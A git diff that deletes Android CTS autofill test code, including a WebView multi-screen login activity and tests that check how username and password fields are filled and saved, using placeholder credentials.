-        mActivity.mOutside2.addTextChangedListener(outside2Watcher);
-
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        sReplier.setIdMode(IdMode.HTML_NAME_OR_RESOURCE_ID);
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
-                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD, ID_OUTSIDE1, ID_OUTSIDE2)
-                .addDataset(new CannedDataset.Builder()
-                        .setField(HTML_NAME_USERNAME, "dude", createPresentation("USER"))
-                        .setField(HTML_NAME_PASSWORD, "sweet", createPresentation("PASS"))
-                        .setField(ID_OUTSIDE1, "duder", createPresentation("OUT1"))
-                        .setField(ID_OUTSIDE2, "sweeter", createPresentation("OUT2"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.getUsernameInput().click();
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("USER");
-        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
-
-        // Assert structure passed to service.
-        final ViewNode usernameFillNode = Helper.findNodeByHtmlName(fillRequest.structure,
-                HTML_NAME_USERNAME);
-        Helper.assertTextIsSanitized(usernameFillNode);
-        assertThat(usernameFillNode.isFocused()).isTrue();
-        assertThat(usernameFillNode.getAutofillHints()).asList().containsExactly("username");
-        final ViewNode passwordFillNode = Helper.findNodeByHtmlName(fillRequest.structure,
-                HTML_NAME_PASSWORD);
-        Helper.assertTextIsSanitized(passwordFillNode);
-        assertThat(passwordFillNode.getAutofillHints()).asList()
-                .containsExactly("current-password");
-        assertThat(passwordFillNode.isFocused()).isFalse();
-
-        final ViewNode outside1FillNode = Helper.findNodeByResourceId(fillRequest.structure,
-                ID_OUTSIDE1);
-        Helper.assertTextIsSanitized(outside1FillNode);
-        final ViewNode outside2FillNode = Helper.findNodeByResourceId(fillRequest.structure,
-                ID_OUTSIDE2);
-        Helper.assertTextIsSanitized(outside2FillNode);
-
-        // Move focus around to make sure UI is shown accordingly
-        mActivity.clearFocus();
-        mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
-        callback.assertUiHiddenEvent(myWebView, usernameChildId);
-        mUiBot.assertDatasets("OUT1");
-        callback.assertUiShownEvent(mActivity.mOutside1);
-
-        mActivity.clearFocus();
-        mActivity.getPasswordInput().click();
-        callback.assertUiHiddenEvent(mActivity.mOutside1);
-        mUiBot.assertDatasets("PASS");
-        final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
-
-        mActivity.clearFocus();
-        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
-        callback.assertUiHiddenEvent(myWebView, passwordChildId);
-        final UiObject2 datasetPicker = mUiBot.assertDatasets("OUT2");
-        callback.assertUiShownEvent(mActivity.mOutside2);
-
-        // Autofill it.
-        mUiBot.selectDataset(datasetPicker, "OUT2");
-        callback.assertUiHiddenEvent(mActivity.mOutside2);
-
-        myWebView.assertAutofilled();
-        outside1Watcher.assertAutoFilled();
-        outside2Watcher.assertAutoFilled();
-
-        // Now trigger save.
-        if (INJECT_EVENTS) {
-            mActivity.getUsernameInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
-            mActivity.getPasswordInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_P);
-        } else {
-            mActivity.getUsernameInput().setText("DUDE");
-            mActivity.getPasswordInput().setText("SWEET");
-        }
-        mActivity.runOnUiThread(() -> {
-            mActivity.mOutside1.setText("DUDER");
-            mActivity.mOutside2.setText("SWEETER");
-        });
-
-        mActivity.getLoginButton().click();
-
-        // Assert save UI shown.
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        // Assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        final ViewNode usernameSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
-                HTML_NAME_USERNAME);
-        final ViewNode passwordSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
-                HTML_NAME_PASSWORD);
-        if (INJECT_EVENTS) {
-            Helper.assertTextAndValue(usernameSaveNode, "dudeu");
-            Helper.assertTextAndValue(passwordSaveNode, "sweetp");
-        } else {
-            Helper.assertTextAndValue(usernameSaveNode, "DUDE");
-            Helper.assertTextAndValue(passwordSaveNode, "SWEET");
-        }
-
-        final ViewNode outside1SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
-                ID_OUTSIDE1);
-        Helper.assertTextAndValue(outside1SaveNode, "DUDER");
-        final ViewNode outside2SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
-                ID_OUTSIDE2);
-        Helper.assertTextAndValue(outside2SaveNode, "SWEETER");
-    }
-
-
-    @Test
-    @Ignore("blocked on b/69461853")
-    @AppModeFull(reason = "testAutofillAndSave() is enough")
-    public void testAutofillAndSave_withExternalViews_loadExternalViewsFirst() throws Exception {
-        // Set service.
-        enableService();
-
-        // Load outside views
-        mActivity.loadOutsideViews();
-
-        // Set expectations.
-        final OneTimeTextWatcher outside1Watcher = new OneTimeTextWatcher("outside1",
-                mActivity.mOutside1, "duder");
-        final OneTimeTextWatcher outside2Watcher = new OneTimeTextWatcher("outside2",
-                mActivity.mOutside2, "sweeter");
-        mActivity.mOutside1.addTextChangedListener(outside1Watcher);
-        mActivity.mOutside2.addTextChangedListener(outside2Watcher);
-
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        sReplier.setIdMode(IdMode.RESOURCE_ID);
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_OUTSIDE1, "duder", createPresentation("OUT1"))
-                        .setField(ID_OUTSIDE2, "sweeter", createPresentation("OUT2"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("OUT1");
-        callback.assertUiShownEvent(mActivity.mOutside1);
-
-        // Move focus around to make sure UI is shown accordingly
-        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
-        callback.assertUiHiddenEvent(mActivity.mOutside1);
-        mUiBot.assertDatasets("OUT2");
-        callback.assertUiShownEvent(mActivity.mOutside2);
-
-        // Assert structure passed to service.
-        final ViewNode outside1FillNode = Helper.findNodeByResourceId(fillRequest1.structure,
-                ID_OUTSIDE1);
-        Helper.assertTextIsSanitized(outside1FillNode);
-        final ViewNode outside2FillNode = Helper.findNodeByResourceId(fillRequest1.structure,
-                ID_OUTSIDE2);
-        Helper.assertTextIsSanitized(outside2FillNode);
-
-        // Now load Webiew
-        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
-
-        // Set expectations
-        myWebView.expectAutofill("dude", "sweet");
-        sReplier.setIdMode(IdMode.HTML_NAME_OR_RESOURCE_ID);
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
-                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD, ID_OUTSIDE1, ID_OUTSIDE2)
-                .addDataset(new CannedDataset.Builder()
-                        .setField(HTML_NAME_USERNAME, "dude", createPresentation("USER"))
-                        .setField(HTML_NAME_PASSWORD, "sweet", createPresentation("PASS"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.getUsernameInput().click();
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        callback.assertUiHiddenEvent(mActivity.mOutside2);
-        mUiBot.assertDatasets("USER");
-        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
-
-        // Move focus around to make sure UI is shown accordingly
-        mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
-        callback.assertUiHiddenEvent(myWebView, usernameChildId);
-        mUiBot.assertDatasets("OUT1");
-        callback.assertUiShownEvent(mActivity.mOutside1);
-
-        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
-        callback.assertUiHiddenEvent(mActivity.mOutside1);
-        mUiBot.assertDatasets("OUT2");
-        callback.assertUiShownEvent(mActivity.mOutside2);
-
-        mActivity.getPasswordInput().click();
-        callback.assertUiHiddenEvent(mActivity.mOutside2);
-        mUiBot.assertDatasets("PASS");
-        final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
-
-        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
-        callback.assertUiHiddenEvent(myWebView, passwordChildId);
-        final UiObject2 datasetPicker = mUiBot.assertDatasets("OUT2");
-        callback.assertUiShownEvent(mActivity.mOutside2);
-
-        // Assert structure passed to service.
-        final ViewNode usernameFillNode = Helper.findNodeByHtmlName(fillRequest2.structure,
-                HTML_NAME_USERNAME);
-        Helper.assertTextIsSanitized(usernameFillNode);
-        assertThat(usernameFillNode.isFocused()).isTrue();
-        assertThat(usernameFillNode.getAutofillHints()).asList().containsExactly("username");
-        final ViewNode passwordFillNode = Helper.findNodeByHtmlName(fillRequest2.structure,
-                HTML_NAME_PASSWORD);
-        Helper.assertTextIsSanitized(passwordFillNode);
-        assertThat(passwordFillNode.getAutofillHints()).asList()
-                .containsExactly("current-password");
-        assertThat(passwordFillNode.isFocused()).isFalse();
-
-        // Autofill external views (2nd partition)
-        mUiBot.selectDataset(datasetPicker, "OUT2");
-        callback.assertUiHiddenEvent(mActivity.mOutside2);
-        outside1Watcher.assertAutoFilled();
-        outside2Watcher.assertAutoFilled();
-
-        // Autofill Webview (1st partition)
-        mActivity.getUsernameInput().click();
-        callback.assertUiShownEventForVirtualChild(myWebView);
-        mUiBot.selectDataset("USER");
-        myWebView.assertAutofilled();
-
-        // Now trigger save.
-        if (INJECT_EVENTS) {
-            mActivity.getUsernameInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
-            mActivity.getPasswordInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_P);
-        } else {
-            mActivity.getUsernameInput().setText("DUDE");
-            mActivity.getPasswordInput().setText("SWEET");
-        }
-        mActivity.runOnUiThread(() -> {
-            mActivity.mOutside1.setText("DUDER");
-            mActivity.mOutside2.setText("SWEETER");
-        });
-
-        mActivity.getLoginButton().click();
-
-        // Assert save UI shown.
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        // Assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        final ViewNode usernameSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
-                HTML_NAME_USERNAME);
-        final ViewNode passwordSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
-                HTML_NAME_PASSWORD);
-        if (INJECT_EVENTS) {
-            Helper.assertTextAndValue(usernameSaveNode, "dudeu");
-            Helper.assertTextAndValue(passwordSaveNode, "sweetp");
-        } else {
-            Helper.assertTextAndValue(usernameSaveNode, "DUDE");
-            Helper.assertTextAndValue(passwordSaveNode, "SWEET");
-        }
-
-        final ViewNode outside1SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
-                ID_OUTSIDE1);
-        Helper.assertTextAndValue(outside1SaveNode, "DUDER");
-        final ViewNode outside2SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
-                ID_OUTSIDE2);
-        Helper.assertTextAndValue(outside2SaveNode, "SWEETER");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewMultiScreenLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewMultiScreenLoginActivity.java
deleted file mode 100644
index 2e3e74c..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewMultiScreenLoginActivity.java
+++ /dev/null
@@ -1,173 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.WEBVIEW_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.os.Bundle;
-import android.support.test.uiautomator.UiObject2;
-import android.util.Log;
-import android.webkit.WebResourceRequest;
-import android.webkit.WebResourceResponse;
-import android.webkit.WebView;
-import android.webkit.WebViewClient;
-
-import com.android.compatibility.common.util.RetryableException;
-
-import java.io.IOException;
-import java.util.HashMap;
-import java.util.Map;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-public class WebViewMultiScreenLoginActivity extends AbstractWebViewActivity {
-
-    private static final String TAG = "WebViewMultiScreenLoginActivity";
-    private static final String FAKE_USERNAME_URL = "https://" + FAKE_DOMAIN + ":666/username.html";
-    private static final String FAKE_PASSWORD_URL = "https://" + FAKE_DOMAIN + ":666/password.html";
-
-    private UiObject2 mUsernameLabel;
-    private UiObject2 mUsernameInput;
-    private UiObject2 mNextButton;
-
-    private UiObject2 mPasswordLabel;
-    private UiObject2 mPasswordInput;
-    private UiObject2 mLoginButton;
-
-    private final Map<String, CountDownLatch> mLatches = new HashMap<>();
-
-    public WebViewMultiScreenLoginActivity() {
-        mLatches.put(FAKE_USERNAME_URL, new CountDownLatch(1));
-        mLatches.put(FAKE_PASSWORD_URL, new CountDownLatch(1));
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.webview_only_activity);
-        mWebView = findViewById(R.id.my_webview);
-    }
-
-    public MyWebView loadWebView(UiBot uiBot) throws Exception {
-        syncRunOnUiThread(() -> {
-            mWebView.setWebViewClient(new WebViewClient() {
-                // WebView does not set the WebDomain on file:// requests, so we need to use an
-                // https:// request and intercept it to provide the real data.
-                @Override
-                public WebResourceResponse shouldInterceptRequest(WebView view,
-                        WebResourceRequest request) {
-                    final String url = request.getUrl().toString();
-                    if (!url.equals(FAKE_USERNAME_URL) && !url.equals(FAKE_PASSWORD_URL)) {
-                        Log.d(TAG, "Ignoring " + url);
-                        return super.shouldInterceptRequest(view, request);
-                    }
-
-                    final String rawPath = request.getUrl().getPath()
-                            .substring(1); // Remove leading /
-                    Log.d(TAG, "Converting " + url + " to " + rawPath);
-                    // NOTE: cannot use try-with-resources because it would close the stream before
-                    // WebView uses it.
-                    try {
-                        return new WebResourceResponse("text/html", "utf-8",
-                                getAssets().open(rawPath));
-                    } catch (IOException e) {
-                        throw new IllegalArgumentException("Error opening " + rawPath, e);
-                    }
-                }
-
-                @Override
-                public void onPageFinished(WebView view, String url) {
-                    final CountDownLatch latch = mLatches.get(url);
-                    Log.v(TAG, "onPageFinished(): " + url + " latch: " + latch);
-                    if (latch != null) {
-                        latch.countDown();
-                    }
-                }
-            });
-            mWebView.loadUrl(FAKE_USERNAME_URL);
-        });
-
-        // Wait until it's loaded.
-        if (!mLatches.get(FAKE_USERNAME_URL).await(WEBVIEW_TIMEOUT.ms(), TimeUnit.MILLISECONDS)) {
-            throw new RetryableException(WEBVIEW_TIMEOUT, "WebView not loaded");
-        }
-
-        // Validation check to make sure autofill was enabled when the WebView was created
-        assertThat(mWebView.isAutofillEnabled()).isTrue();
-
-        // WebView builds its accessibility tree asynchronously and only after being queried the
-        // first time, so we should first find the WebView and query some of its properties,
-        // wait for its accessibility tree to be populated (by blocking until a known element
-        // appears), then cache the objects for further use.
-
-        // NOTE: we cannot search by resourceId because WebView does not set them...
-
-        // Wait for known element...
-        mUsernameLabel = uiBot.assertShownByText("Username: ", WEBVIEW_TIMEOUT);
-        // ...then cache the others
-        mUsernameInput = getInput(uiBot, mUsernameLabel);
-        mNextButton = uiBot.findRightAwayByText("Next");
-
-        return mWebView;
-    }
-
-    void waitForPasswordScreen(UiBot uiBot) throws Exception {
-        // Wait until it's loaded.
-        if (!mLatches.get(FAKE_PASSWORD_URL).await(WEBVIEW_TIMEOUT.ms(), TimeUnit.MILLISECONDS)) {
-            throw new RetryableException(WEBVIEW_TIMEOUT, "Password page not loaded");
-        }
-
-        // WebView builds its accessibility tree asynchronously and only after being queried the
-        // first time, so we should first find the WebView and query some of its properties,
-        // wait for its accessibility tree to be populated (by blocking until a known element
-        // appears), then cache the objects for further use.
-
-        // NOTE: we cannot search by resourceId because WebView does not set them...
-
-        // Wait for known element...
-        mPasswordLabel = uiBot.assertShownByText("Password: ", WEBVIEW_TIMEOUT);
-        // ...then cache the others
-        mPasswordInput = getInput(uiBot, mPasswordLabel);
-        mLoginButton = uiBot.findRightAwayByText("Login");
-    }
-
-    public UiObject2 getUsernameLabel() throws Exception {
-        return mUsernameLabel;
-    }
-
-    public UiObject2 getUsernameInput() throws Exception {
-        return mUsernameInput;
-    }
-
-    public UiObject2 getNextButton() throws Exception {
-        return mNextButton;
-    }
-
-    public UiObject2 getPasswordLabel() throws Exception {
-        return mPasswordLabel;
-    }
-
-    public UiObject2 getPasswordInput() throws Exception {
-        return mPasswordInput;
-    }
-
-    public UiObject2 getLoginButton() throws Exception {
-        return mLoginButton;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewMultiScreenLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewMultiScreenLoginActivityTest.java
deleted file mode 100644
index f2071d3..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewMultiScreenLoginActivityTest.java
+++ /dev/null
@@ -1,304 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.AbstractWebViewActivity.HTML_NAME_PASSWORD;
-import static android.autofillservice.cts.AbstractWebViewActivity.HTML_NAME_USERNAME;
-import static android.autofillservice.cts.CustomDescriptionHelper.newCustomDescriptionWithUsernameAndPassword;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.ID_USERNAME_LABEL;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.findNodeByHtmlName;
-import static android.autofillservice.cts.Helper.getAutofillId;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.assist.AssistStructure;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.content.ComponentName;
-import android.service.autofill.CharSequenceTransformation;
-import android.service.autofill.SaveInfo;
-import android.support.test.uiautomator.UiObject2;
-import android.util.Log;
-import android.view.KeyEvent;
-import android.view.autofill.AutofillId;
-
-import org.junit.Test;
-
-import java.util.concurrent.atomic.AtomicReference;
-import java.util.regex.Pattern;
-
-public class WebViewMultiScreenLoginActivityTest
-        extends AbstractWebViewTestCase<WebViewMultiScreenLoginActivity> {
-
-    private static final String TAG = "WebViewMultiScreenLoginTest";
-
-    private static final Pattern MATCH_ALL = Pattern.compile("^(.*)$");
-
-    private WebViewMultiScreenLoginActivity mActivity;
-
-    @Override
-    protected AutofillActivityTestRule<WebViewMultiScreenLoginActivity> getActivityRule() {
-        return new AutofillActivityTestRule<WebViewMultiScreenLoginActivity>(
-                WebViewMultiScreenLoginActivity.class) {
-
-            // TODO(b/111838239): latest WebView implementation calls AutofillManager.isEnabled() to
-            // disable autofill for optimization when it returns false, and unfortunately the value
-            // returned by that method does not change when the service is enabled / disabled, so we
-            // need to start enable the service before launching the activity.
-            // Once that's fixed, remove this overridden method.
-            @Override
-            protected void beforeActivityLaunched() {
-                super.beforeActivityLaunched();
-                Log.i(TAG, "Setting service before launching the activity");
-                enableService();
-            }
-
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    @Test
-    public void testSave_eachFieldSeparately() throws Exception {
-        // Set service.
-        enableService();
-
-        // Load WebView
-        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
-        // Validation check to make sure autofill is enabled in the application context
-        Helper.assertAutofillEnabled(myWebView.getContext(), true);
-
-        /*
-         * First screen: username
-         */
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, HTML_NAME_USERNAME)
-                .setSaveInfoDecorator((builder, nodeResolver) -> {
-                    final AutofillId usernameId = getAutofillId(nodeResolver, HTML_NAME_USERNAME);
-                    final CharSequenceTransformation usernameTrans = new CharSequenceTransformation
-                            .Builder(usernameId, MATCH_ALL, "$1").build();
-                    builder.setCustomDescription(newCustomDescriptionWithUsernameAndPassword()
-                            .addChild(R.id.username, usernameTrans)
-                            .build());
-                })
-                .build());
-        // Trigger autofill.
-        mActivity.getUsernameInput().click();
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.contexts).hasSize(1);
-
-        mUiBot.assertNoDatasetsEver();
-
-        // Now trigger save.
-        if (INJECT_EVENTS) {
-            mActivity.getUsernameInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_D);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_D);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
-        } else {
-            mActivity.getUsernameInput().setText("dude");
-        }
-        mActivity.getNextButton().click();
-
-        // Assert UI
-        final UiObject2 saveUi1 = mUiBot.assertSaveShowing(
-                SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, null, SAVE_DATA_TYPE_USERNAME);
-
-        mUiBot.assertChildText(saveUi1, ID_USERNAME_LABEL, "User:");
-        mUiBot.assertChildText(saveUi1, ID_USERNAME, "dude");
-
-        // Assert save request
-        mUiBot.saveForAutofill(saveUi1, true);
-        final SaveRequest saveRequest1 = sReplier.getNextSaveRequest();
-        assertThat(saveRequest1.contexts).hasSize(1);
-        assertTextAndValue(findNodeByHtmlName(saveRequest1.structure, HTML_NAME_USERNAME), "dude");
-
-        /*
-         * Second screen: password
-         */
-
-        mActivity.waitForPasswordScreen(mUiBot);
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, HTML_NAME_PASSWORD)
-                .setSaveInfoDecorator((builder, nodeResolver) -> {
-                    final AutofillId passwordId = getAutofillId(nodeResolver, HTML_NAME_PASSWORD);
-                    final CharSequenceTransformation passwordTrans = new CharSequenceTransformation
-                            .Builder(passwordId, MATCH_ALL, "$1").build();
-                    builder.setCustomDescription(newCustomDescriptionWithUsernameAndPassword()
-                            .addChild(R.id.password, passwordTrans)
-                            .build());
-                })
-                .build());
-        // Trigger autofill.
-        mActivity.getPasswordInput().click();
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertThat(fillRequest2.contexts).hasSize(1);
-        mUiBot.assertNoDatasetsEver();
-        // Now trigger save.
-        if (INJECT_EVENTS) {
-            mActivity.getPasswordInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_S);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_W);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_T);
-        } else {
-            mActivity.getPasswordInput().setText("sweet");
-        }
-
-        mActivity.getLoginButton().click();
-
-        // Assert save UI shown.
-        final UiObject2 saveUi2 = mUiBot.assertSaveShowing(
-                SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, null, SAVE_DATA_TYPE_PASSWORD);
-        mUiBot.assertChildText(saveUi2, ID_PASSWORD_LABEL, "Pass:");
-        mUiBot.assertChildText(saveUi2, ID_PASSWORD, "sweet");
-
-        // Assert save request
-        mUiBot.saveForAutofill(saveUi2, true);
-        final SaveRequest saveRequest2 = sReplier.getNextSaveRequest();
-        assertThat(saveRequest2.contexts).hasSize(1);
-        assertTextAndValue(findNodeByHtmlName(saveRequest2.structure, HTML_NAME_PASSWORD), "sweet");
-    }
-
-    @Test
-    public void testSave_bothFieldsAtOnce() throws Exception {
-        // Set service.
-        enableService();
-
-        // Load WebView
-        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
-        // Validation check to make sure autofill is enabled in the application context
-        Helper.assertAutofillEnabled(myWebView.getContext(), true);
-
-        /*
-         * First screen: username
-         */
-        final AtomicReference<AutofillId> usernameId = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setIgnoreFields(HTML_NAME_USERNAME)
-                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE)
-                .setSaveInfoDecorator((builder, nodeResolver) -> {
-                    usernameId.set(getAutofillId(nodeResolver, HTML_NAME_USERNAME));
-
-                })
-                .build());
-        // Trigger autofill.
-        mActivity.getUsernameInput().click();
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.contexts).hasSize(1);
-
-        mUiBot.assertNoDatasetsEver();
-
-        // Change username
-        if (INJECT_EVENTS) {
-            mActivity.getUsernameInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_D);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_D);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
-        } else {
-            mActivity.getUsernameInput().setText("dude");
-        }
-
-        mActivity.getNextButton().click();
-
-        // Assert UI
-        mUiBot.assertSaveNotShowing();
-
-        /*
-         * Second screen: password
-         */
-
-        mActivity.waitForPasswordScreen(mUiBot);
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
-                        HTML_NAME_PASSWORD)
-                .setSaveInfoDecorator((builder, nodeResolver) -> {
-                    final AutofillId passwordId = getAutofillId(nodeResolver, HTML_NAME_PASSWORD);
-                    final CharSequenceTransformation usernameTrans = new CharSequenceTransformation
-                            .Builder(usernameId.get(), MATCH_ALL, "$1").build();
-                    final CharSequenceTransformation passwordTrans = new CharSequenceTransformation
-                            .Builder(passwordId, MATCH_ALL, "$1").build();
-                    Log.d(TAG, "setting CustomDescription: u=" + usernameId + ", p=" + passwordId);
-                    builder.setCustomDescription(newCustomDescriptionWithUsernameAndPassword()
-                            .addChild(R.id.username, usernameTrans)
-                            .addChild(R.id.password, passwordTrans)
-                            .build());
-                })
-                .build());
-        // Trigger autofill.
-        mActivity.getPasswordInput().click();
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertThat(fillRequest2.contexts).hasSize(2);
-
-        mUiBot.assertNoDatasetsEver();
-
-        // Now trigger save.
-        if (INJECT_EVENTS) {
-            mActivity.getPasswordInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_S);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_W);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_T);
-        } else {
-            mActivity.getPasswordInput().setText("sweet");
-        }
-
-        mActivity.getLoginButton().click();
-
-        // Assert save UI shown.
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(
-                SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, null, SAVE_DATA_TYPE_USERNAME,
-                SAVE_DATA_TYPE_PASSWORD);
-        mUiBot.assertChildText(saveUi, ID_PASSWORD_LABEL, "Pass:");
-        mUiBot.assertChildText(saveUi, ID_PASSWORD, "sweet");
-        mUiBot.assertChildText(saveUi, ID_USERNAME_LABEL, "User:");
-        mUiBot.assertChildText(saveUi, ID_USERNAME, "dude");
-
-        // Assert save request
-        mUiBot.saveForAutofill(saveUi, true);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-        // Username is set in the 1st context
-        final AssistStructure previousStructure = saveRequest.contexts.get(0).getStructure();
-        assertWithMessage("no structure for 1st activity").that(previousStructure).isNotNull();
-        assertTextAndValue(findNodeByHtmlName(previousStructure, HTML_NAME_USERNAME), "dude");
-        final ComponentName componentPrevious = previousStructure.getActivityComponent();
-        assertThat(componentPrevious).isEqualTo(mActivity.getComponentName());
-
-        // Password is set in the 2nd context
-        final AssistStructure currentStructure = saveRequest.contexts.get(1).getStructure();
-        assertWithMessage("no structure for 2nd activity").that(currentStructure).isNotNull();
-        assertTextAndValue(findNodeByHtmlName(currentStructure, HTML_NAME_PASSWORD), "sweet");
-        final ComponentName componentCurrent = currentStructure.getActivityComponent();
-        assertThat(componentCurrent).isEqualTo(mActivity.getComponentName());
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
deleted file mode 100644
index 9e11da9..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
+++ /dev/null
